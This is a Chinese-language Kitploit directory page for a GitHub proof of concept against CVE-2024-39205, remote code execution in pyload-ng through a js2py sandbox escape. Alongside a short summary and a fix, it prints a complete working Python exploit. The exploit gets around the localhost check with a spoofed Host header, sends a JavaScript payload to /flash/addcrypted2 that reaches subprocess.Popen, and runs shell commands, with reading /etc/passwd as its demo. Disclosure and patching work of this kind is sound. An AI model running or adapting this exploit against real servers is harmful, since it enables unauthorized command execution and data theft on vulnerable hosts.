Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2024-39205-Pyload-RCE — Pyload 远程代码执行(js2py 沙箱逃逸) | Kitploit
工具/GitHubGitHub/marven11/cve-2024-39205-pyload-rce
漏洞分析漏洞利用Web应用程序漏洞利用渗透测试远程访问工具Payload 开发
GitHubmarven11/cve-2024-39205-pyload-rce

CVE-2024-39205-Pyload-RCE

Pyload 远程代码执行(js2py 沙箱逃逸)

查看仓库
18311年前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE-2024-39205-Pyload-RCE

利用 js2py 沙箱逃逸实现 Pyload RCE

摘要

任何运行在 python3.11 或更低版本下的 pyload-ng 都存在 RCE 漏洞。攻击者可以发送包含任意 shell 命令的请求,受害服务器将立即执行该命令。

修复方案

升级到最新版本的 pyload-ng,或者直接用 python3.12 或更高版本运行 pyload。

详情

js2py 存在一个沙箱逃逸漏洞,编号为 CVE-2024-28397,该漏洞被 pyload-ng 的 /flash/addcrypted2 API 端点所使用。虽然此端点设计为仅接受 localhost 连接,但我们可以使用 HTTP Header 绕过这一限制,从而访问该 API 并实现 RCE。

PoC

PoC 如下所示,你可以修改其中执行的 shell 命令:

root@kitploit:~
import socket
import base64
from urllib.parse import quote

host, port = input("host: "), int(input("port: "))

payload = """
// [+] command goes here:
let cmd = "head -n 1 /etc/passwd; calc; gnome-calculator;"
let hacked, bymarve, n11
let getattr, obj

hacked = Object.getOwnPropertyNames({})
bymarve = hacked.__getattribute__
n11 = bymarve("__getattribute__")
obj = n11("__class__").__base__
getattr = obj.__getattribute__

function findpopen(o) {
    let result;
    for(let i in o.__subclasses__()) {
        let item = o.__subclasses__()[i]
        if(item.__module__ == "subprocess" && item.__name__ == "Popen") {
            return item
        }
        if(item.__name__ != "type" && (result = findpopen(item))) {
            return result
        }
    }
}

n11 = findpopen(obj)(cmd, -1, null, -1, -1, -1, null, null, true).communicate()
console.log(n11)
function f() {
    return n11
}

"""

crypted_b64 = base64.b64encode(b"1234").decode()

data = f"package=pkg&crypted={quote(crypted_b64)}&jk={quote(payload)}"

request = f"""\
POST /flash/addcrypted2 HTTP/1.1
Host: 127.0.0.1:9666
Content-Type: application/x-www-form-urlencoded
Content-Length: {len(data)}

{data}
""".encode().replace(b"\n", b"\r\n")

def main():

    s = socket.socket()
    s.connect((host, port))

    s.send(request)
    response = s.recv(1024).decode()
    print(response)

if __name__ == "__main__":
    main()


影响范围

所有在 python3.11 或更低版本下运行最新版本(<=0.5.0b3.dev85)pyload-ng 的用户。对于 python3.12 或更高版本,pyload-ng 不使用 js2py。

链接

https://github.com/pyload/pyload/security/advisories/GHSA-w7hq-f2pj-c53g

下载工具